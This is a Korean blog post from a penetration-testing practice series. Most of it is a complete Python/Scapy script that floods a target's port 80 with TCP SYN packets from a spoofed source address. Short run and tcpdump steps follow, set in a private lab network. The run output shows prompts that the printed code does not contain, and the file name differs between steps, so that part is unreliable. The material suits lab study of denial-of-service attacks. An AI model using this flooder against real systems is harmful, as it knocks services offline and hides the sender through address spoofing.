Linux/모의해킹

파이썬 코드를 활용한 tcpSynFlooding 공격

GGkeeper 2022. 1. 11. 03:03

실습> 파이썬 코드를 활용한 공격

1. 공격 코드 생성
Attacker# vi tcpSynFlooding.py
-- tcpSynFlooding.py --
#!/usr/bin/python3

from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser

def randomIP():
    #ip = ".".join(map(str, (randint(0, 255)for _ in range(4))))
    ip = "192.168.108.102"
    return ip


def randInt():
    x = randint(1000, 9000)
    return x


def SYN_Flood(dstIP, dstPort, counter):
    total = 0
    print ("Packets are sending ...")

    for x in range (0, counter):
        s_port = randInt()
        s_eq = randInt()
        w_indow = randInt()

        IP_Packet = IP()
        IP_Packet.src = randomIP()
        IP_Packet.dst = dstIP

        TCP_Packet = TCP ()
        TCP_Packet.sport = s_port
        TCP_Packet.dport = int(dstPort)
        TCP_Packet.flags = "S"
        TCP_Packet.seq = s_eq
        TCP_Packet.window = w_indow

        send(IP_Packet/TCP_Packet, verbose=0)
        total+=1
        print(total)

    stdout.write("\nTotal packets sent: %i\n" % total)

def main():
    parser = ArgumentParser()
    parser.add_argument('--target', '-t', help='target IP address')
    parser.add_argument('--port', '-p', help='target port number')
    parser.add_argument('--count', '-c', help='number of packets')
    parser.add_argument('--version', '-v', action='version', version='Python SynFlood Tool v2.0.1\n@EmreOvunc')
    parser.epilog = "Usage: python3 py3_synflood_cmd.py -t 10.20.30.40 -p 8080 -c 1"

    args = parser.parse_args()

    args.target = "192.168.108.100"
    args.port = 80
    args.count = 1000
    print(args.target)

    if args.target is not None:
        if args.port is not None:
            if args.count is None:
                print('[!]You did not use --counter/-c parameter, so 1 packet will be sent..')
                SYN_Flood(args.target, args.port, 1)

            else:
                SYN_Flood(args.target, args.port, int(args.count))
                SYN_Flood(args.target, args.port, int(args.count))

        else:
            print('[-]Please, use --port/-p to give target\'s port!')
            print('[!]Example: -p 445')
            print('[?] -h for help')
            exit()
    else:
        print('''usage: py3_synflood_cmd.py [-h] [--target TARGET] [--port PORT]
                           [--count COUNT] [--version]
optional arguments:
  -h, --help            show this help message and exit
  --target TARGET, -t TARGET
                        target IP address
  --port PORT, -p PORT  target port number
  --count COUNT, -c COUNT
                        number of packets
  --version, -v         show program's version number and exit''')
        exit()

main()
-- tcpSynFlooding.py --

2. 공격 실행
Attacker# python3 tcpSynFlood.py 
 :
 :

Enter your source ip:192.168.108.102
Enter your target ip:192.168.108.100

3. 패킷 덤프
Victim2# tcpdump -n -i ens33 
  :
  :(생략)

'Linux > 모의해킹' 카테고리의 다른 글

ICMP 생성해서 보내기  (0) 2022.01.13
GateWay IP 주소 삭제  (0) 2022.01.13
TCP SYNflooding (씬플러딩)  (0) 2022.01.11
LAND Attack  (0) 2022.01.11
Ping Of Death  (0) 2022.01.11